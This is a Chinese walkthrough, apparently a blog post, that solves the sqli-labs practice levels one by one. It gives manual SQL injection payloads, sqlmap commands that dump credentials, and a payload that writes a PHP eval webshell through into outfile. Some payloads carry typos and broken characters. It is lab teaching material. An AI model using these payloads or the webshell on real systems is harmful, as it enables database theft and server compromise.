sqli-labs通关详解

  • Less1
  • Less1sqlmap运用
  • Less2
  • Less2sqlmap运用
  • Less3
  • sqlmap运用
  • Less4
  • sqlmap一把梭
  • Less5
  • sqlmap直接梭
  • Less6
  • Less7
  • Less8
  • sqlmap梭Less8
  • Less9
  • sqlmap运用时间盲注
  • Less10
  • Less11
  • sqlmap Less11post运用
  • Less12
  • Less13
  • Less14
  • Less15
  • sqlmap猜解布尔盲注
  • Less16
  • Less17
  • sqlmap梭
  • Less18
  • Less19
  • sqlmap 梭
  • Less20
  • sqlmap cookie注入
  • Less21
  • sqlmap加密注入运用
  • Less22

Less1

找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型

字符型注入,单引号闭合
判断字段数

找回显点


发现有两个回显点

开始信息收集(注意union前后格式要相同)

?id=-1' union select 1,database(),version()--+
database():当前数据库名
version():数据库版本
user():数据库用户,用于判断是否有最高权限

开始逐级爆破

爆破数据库

?id=-1' union select 1,2,group_concat(schema_name) from
information_schema.schemata
group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式 显示全部数据
?id=-1' union select 1,2,(schema_name) from information_schma.schemata limit 0,1--+

爆破表名
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

爆破字段名
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+

爆破字段
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from users)--+

Less1sqlmap运用

sqlmap.py -u ip --batch

猜解当前数据库名称
sqlmap.py -u ip --batch --current-db

猜解表名
sqlmap.py -u ip --batch -D "security" --tables

猜解字段
sqlmap.py -u ip -D "security" -T "users" --columns

脱库
sqmap.py -u ip -D "security" -T "users" --dump

Less2

看源码或者尝试,没有闭合方式,说明为数字型注入

尝试找到注入点

判断字段数

找到回显点,然后信息收集判断数据库版本

开始注入

爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+

爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)- -+

Less2sqlmap运用

扫描注入点
sqlmap.py -u ip --batch

爆破当前数据库
sqlmap.py -u ip --batch --current-db

爆破数据表
sqlmap.py -u ip --batch -D "security" --tables

爆破字段
sqlmap.y -u ip --batch -D "security" -T "users" --columns
最后脱库即可
sqlmap.py -u ip --batch -D "security" -T "users" --dump

Less3

通过源码查看闭合方式,如果在不知道源码的情况下,可以通过报错回显猜测闭合方式

判断字段数

找回显点,信息收集,然后开始逐级爆破

  1. 爆破表单
    ?id=1’) and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()-+


3.爆破字段
?id=1’) and 1=2 union select 1,version(),group_concat(colum_name)from information_schema.columns where table_name=‘users’-+

4.爆破数据
?id=1’) and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

sqlmap运用

Less4

同样的方法通过报错的回显找到闭合方式

然后判断字段数,开始进行信息收集,然后开始爆破

1.信息收集,字段判断,爆破数据库表
?id=1") and 1=2 union select 1,version(),group_concat(table_name)from information_schema.tables where table_schema=database()–+

2.爆破字段
?id=1") and 1=2 union select 1,version(),group_concat(column_name)from information_schema.columns where table_name=“users”–+

3.最后爆破出所有数据
?id=1") and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)–+

sqlmap一把梭

Less5

发现没有了用户和ID的回显,只有”You are ing…",查看有无报错回显,找到闭合方式

有报错的回显。然后判断字段数

输入一个假的条件看一下,发现没有了回显

条件正确有回显,条件错误没有回显,布尔盲注?其实大可不必,上面发现会有报错回显的,所以果断 采取报错注入的方法,报错注入的运用前提是需要有数据库错误的显示,看源码

报错常用的三个函数, extractvalue(),updatexml(),floor(),还有exp(),演示前三个

  1. 用extractvalue函数进行报错注入。

爆破数据库
?id=1’ or/and extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))–+

爆破数据库表
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))–+


爆破字段
?id=1’ or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e))–+

group-concat()函数可能放不下所有内容,可以采用截取或者limit函数读取

爆破数据内容
?id=1’ or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))–+

  1. 用updatexml()函数进行报错注入

爆破数据库表
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)–+

爆破字段
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=‘users’),0x7e),1)–+

爆破数据内容
?id=1’ or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)–+
3.通loor()函数进行报错注入,前提需要知道有多少字段数

爆破数据库
?id=-1’ union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

爆破数据库表
?id=-1’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

爆破字段
?id=-1’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

爆破数据库内容
?id=-1’ union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x–+

sqlmap直接梭

Less6

less6与less5的唯一区别在于闭合方式为双引号"

Less7

是不是有一点熟悉呢, SQl注入的写入与读取
读取文件 load_file(文件的路径)
写入文件into outfile(),into_dumpfile()
首先还是先猜解闭合方式,单引号家两个小括号 '))

猜解字段数

通过页面回显布尔方式猜解到字段数为3,能够读写需要的几个条件

  1. 需要高权限(root权限)
  2. 需要有问价写入权限secure_file_priv不是NULL
  3. 需要知道绝对路径
  4. 魔术引号gbc时关闭的 magic_quotes_gpc = Off
    关键步骤写入木马

?id=1’)) and 1=2 union select 1,2,“<?php @eval($_POST['cmd']) ?>”%20 into outfile “X:\xx\xx\xx\xx\shell.php”–+

写入之后蚁剑提权

Less8

找到闭合方式为单引号,但是没有报错显示,因此报错注入的方法已经不能够实现注入

对和错返回不同的页面回显,可以采用布尔盲注的方式,比如判断字段数

由此可以判断字段数为3

猜解数据库名字的长度
?id=-1’ or length(database())=8–+
小tips:一那么采用逻辑或,因为无法确保前面的条件一定为真

逐一猜解数据库
?id=-1’ or ascii(substr(database(),1,1))=115–+
或者
?id=-1’ or ascii(mid(database(),1,1))=115–+
或者
?id=-1’ or mid(database(),1,1)=‘s’–+

按照相同的方法猜解数据表的名字和字段内容
?id=-1’ or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?–+

对于布尔盲注的问题,一般采用脚本进行猜解或者使用sqlmap

sqlmap梭Less8

Less9

尝试了N种闭合方式之后发现页面的回显都是一样的并且没有任何报错信息,通过源码找到字符型闭 合,浅试一下时间盲注

例如
?id=-1’ or if(length(database())=8,sleep(5),0)–+

发现页面的响应有了延迟,再burpsuite里面看一下

响应的时间明显延长了,那么就可以通过这样猜解出数据库信息了

猜解数据库名称
?id=-1’ or if(ascii(mid(database(),1,1))<=135,sleep(5),0)–+
相同的方式猜解数据表数据字段

sqlmap运用时间盲注

![在这里插入图片描述](https://img-blog.csdnimg.cn/7681b4a1128e4ffd9f8d92fc92465b31.png)

Less10

![在这里插入图片描述](https://img-blog.csdnimg.cn/32a53e32f5a849be83eeec6934091d5b.png)

与Less9的区别在于闭合方式为 双引号,同样是时间盲注

Less11

看见登录框,为方便注入, burpsuite准备,抓包后找注入点和闭合方式

注入点在username处,闭合方式为单引号

字段数只有2。
payload

除了联合注入外还可以报错注入,方式很多,都可以尝试一下

sqlmap Less11post运用

方式一
启动sqlmap探测注入点
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch
爆破当前数据库名
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch --current-db
爆破数据表
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库
sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security -T users - -dump

方式二
将抓包内容保存到 .txt文件中

启动sqlmap
sqlmap.py -r txt文件位置 -p 要扫描的点

爆破数据库
sqlmap.py -r .txt文件位置 -p 扫描的位置 --current-db
爆破表
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --tables
脱库
sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --dump

Less12

通过简单测试,发现闭合方式为"),如果找到源码会发现与Less11的区别就是闭合方式的不一样,注入方 式完全一样, Less11采用联合查询的注入方式, Less12尝试一次报错注入的方式,字段数依旧为2

采用extractvalue()函数报错注入

查询数据库表
uname=-1") or extractvalue(1,concat(0x7e,(select database()),0x7e)) – +&passwd=admin&submit=Submit

爆破数据表
uname=-1") or extractvalue(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e)) – +&passwd=admin&submit=Submit

爆破字段名
uname=-1") or extractvalue(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e)) – +&passwd=admin&submit=Submit

爆破字段
uname=-1") or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+&passwd=admin&submit=Submit

用updatexml()函数进行报错注入

查询数据库表
uname=-1") or updatexml(1,concat(0x7e,(select database()),0x7e),1) – +&passwd=admin&submit=Submit
爆破数据表
uname=-1") or updatexml(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段名
uname=-1") or updatexml(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 8,1),0x7e),1) – +&passwd=admin&submit=Submit
爆破字段
uname=-1") or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+&passwd=admin&submit=Submit

用floor()函数进行爆破

爆破数据库
uname=-1") union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)2))x from information_schema.tables group by x–+&passwd=admin&submit=Submit
爆破数据表
uname=-1") union select count(
),concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段表
uname=-1") union select count(
),concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit
爆破字段
uname=-1") union select count(
),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x-- +&passwd=admin&submit=Submit

Less13

与Less12的唯一区别为闭合方式为’)

Less14

![在这里插入图片描述](https://img-blog.csdnimg.cn/cc886ce5a69149a4a363879a943b90bf.png)

与Less12的区别闭合方式为"

Less15

![在这里插入图片描述](https://img-blog.csdnimg.cn/9e37f8e7e3844eda8279f646018c6b51.png)

通过图片的回显通过布尔盲注的方式发现闭合方式为单引号闭合

正确的数据与错误数据页面回显的图片不一样,可以尝试一下布尔盲注
payload

尝试猜解一下数据库的名字

通过图片的回显情况逐一猜解内容,当然也可以通过延时注入的方式猜解一下

sqlmap猜解布尔盲注

因为Less15为post的提交方式,首先抓包将数据包头存储在一个文件中

sqlmap.py -r 文件位置 -p 扫描位置 --batch --current-db //爆破当前数据库名
sqlmap…py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库

Less16

在Less15的原题上将闭合方式变成了")

Less17

提示密码重设置,猜一猜注入点会不会事密码的位置呢,验证一下

payload

sqlmap梭

Less18

网页记录了本地ip的信息,说明可能事数据库记录了本机的信息,即后台获取了一些诸如Ip的信息保存 到数据库中,并且页面返回了数据包user-agent的信息,那么在请求头中就可能存在注入点

通过源码看一下

源代码标识获取浏览器信息,即user-Agent部分,表示客户端通过什么浏览器向后台请求

在后面的请求中也有将该部分进行存储添加到数据库,现在就可以通过一些手段在数据添加的同时进行 注入
payload

'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#

sqlmap进行头部注入
在头部注入爆破中, sqlmap需要提高扫描等级 level和risk

level x(x为1-5) 当为2时会对头部的cookie进行扫描注入尝试,x>=3时队user-Agent,ip,referer 参数进行扫描
risk x(x 1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入


或者将数据包保存下来

在user-Agent的末尾打上*

Less19

成功登录后返回referer位置,说明在数据包头referer位置有注入点

payload

sqlmap 梭

然后按照格式再sqlmap上进行爆破

Less20

登录之后发现有很明显的cookie提示,可想而知在哪里注入

登录之后刷新页面,一定要保证cookie还在存在的前提下进行抓包
判断字段数,发现没有字段回显,采取报错,盲注手段都可以

在知道字段的前提下可以使用floor()函数进行报错注入

爆破数据库名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

爆破表名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

爆破字段名
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name=‘users’ limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

爆破字段内容
Cookie: uname=admin’ union select 1,count(*),concat(0x7e,(select username/password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

sqlmap cookie注入

打上* level 等级2

Less21

成功登录后发现在Cookie处登录的信息被进行了加密,说明在客户端登录的信息被进行了加密

可以尝试在每次注入前对payload进行加密在注入

先将语句进行base64加密,再进行注入,通过回显找到闭合方式为’)

更改payload再次进行注入

找到了字段数,尝试爆破数据库名
payload

admin’) and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64加密 YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdl KSwxKSM=

对以往常规的爆破语句进行base64加密后进行爆破即可

sqlmap加密注入运用

将数据包头的内容重新粘贴到新的文档中,再Cookie处标上*
启动sqlmap,对进行加密注入的数据需要用到tamper模块

扫描
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py”
爆破数据库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - -tables
脱库
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” -D security - T users --dump

Less22

与Less21的唯一区别在于此关闭合方式为双引号"

sqli-labs通关详解相关推荐

  1. DVWA的安装教程和通关详解

    DVWA的安装教程和通关详解 目录 一.环境搭建 1.下载和安装phpstudy 2.DVWA下载 3.DVWA安装 更改配置信息 解决爆红错误 二.Brute Force 1.LOW级别 2.Med ...

  2. pikachu通关教程通关详解超详细

    pikachu通关教程佛系更新 暴力破解 跨站脚本XSS 反射型XSS(get): 反射型XSS(post): 存储型XSS: Dom型XSS(很鸡肋): xss之盲打: SQL注入 数字型: 字符型 ...

  3. DVWA-SQL Injection级别通关详解

    目录 SQL Injection手工注入 low级别 Medium级别 High级别 impossible级别分析 SQL Injection手工注入 low级别 判断注入 1.判断是否存在注入. 输 ...

  4. C语言abs和labs函数详解和示例

    文章目录 1.包含头文件 2.函数声明 3.功能说明 4.示例 5.其它说明 6.获取视频教程 7.版权声明 C语言提供了一系列函数获取整数的绝对值:abs.labs.llabs. 1.包含头文件 # ...

  5. XSS-Libs通关详解

    前面写过几关,接下来就直接写思路了,不贴过多图了 xss的技巧就是找输入输出 Less1 开局先看到了get参数,而且和图片上面显示的一模一样 我们可以试试这里是不是可以进行xss注入 修改get参数 ...

  6. 光头探长正在连接服务器,光头探长全关卡攻略汇总 全关卡通关详解

    光头探长全关卡攻略汇总,不少的小伙伴们最近也是在玩这个光头探长的游戏,许多的玩家也是觉得非常的有意思,大部分的玩家也是有卡关的问题,下面就为大家带来了全关卡攻略汇总,一起来看看吧. 光头探长全关卡攻略 ...

  7. sqli-lbs:Less-5~10通关详解

    第五关:Double Query- Single Quotes- String 1.输入?id=2看见页面如下: 输入?id=666时,发现页面发生变化 说明页面没有显示位.无法使用联合查询注入 2. ...

  8. upload-labs通关详解

    目录 Pass-01 前端js验证 Pass-02 后端MIME验证 Pass-03 黑名单验证 Pass-04 黑名单验证.htaccess Pass-05大小写绕过 Pass-6 空格绕过 Pas ...

  9. [ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)

最新文章

  1. python中findroot_python文件查找之find命令
  2. WIN SERVER8更改MYSQL的datadir后,数据库启动不起来
  3. js 操作Listbox js 获取Listbox选择的值的代码
  4. 记一次new Map()
  5. 序列每天从0开始_序列化、反序列化原理和Protobuf实现机制
  6. Swift - 炫酷放射弹出按钮菜单(改造自AwesomeMenu)
  7. 用户、角色、权限管理-设计方案之权限检测
  8. python以写模式打开的文件无法进读操作_以写模式打开的文件无法进行读操作。...
  9. dart语言Iterable fold用法
  10. iframe中加入html,HTML中IFRAME标签的使用
  11. 如何获取请求端真实IP和远程主机IP详解
  12. MultipartFile 转换为File
  13. 【PyCharm实用教程】最详细的Pycharm使用教程,你真不要进来学习一下?
  14. 2022年全球与中国POS终端市场现状及未来发展趋势
  15. R代码学习(5)——数据类型(字符串)
  16. C# 基础之Linq编程
  17. 计算机英语二考研用书,考研英语二怎么准备?记过来人详细经验
  18. 手机变电脑,畅玩更愉快(免费领取3个月云电脑,可用办公,可用做PPT,可用玩游戏)
  19. 敖夜肝了这份Scrapyd核心源码剖析及爬虫项目实战部署
  20. 一位成功人士总结的操盘程序(转)

热门文章

  1. DNS域名解析服务1(高速缓存dns,dns正向解析,dns正向轮询解析,dns反向解析,dns双向解析)
  2. 【kafka专栏】安全认证之SASL_PLAINTEXT用户名密码方式
  3. 联想、腾讯巨头携手,“极速计划”建立SIoT又一个堡垒?
  4. LSTM Networks 论文精读
  5. 外卖CPS项目的寒冬来了
  6. 软银计划大幅减持阿里巴巴;美国将12家中国芯片贸易商纳入“实体清单”;知乎发布中文大模型“知海图AI”丨每日大事件...
  7. 生鲜电商的下半场,叮咚买菜还有多少故事能讲?
  8. 2008年8月18号,星期一,晴。天行健,君子以自强不息。 ——《周易•乾•象》
  9. python小程序之画蟒蛇
  10. 【BJOI2006】bzoj1001 狼抓兔子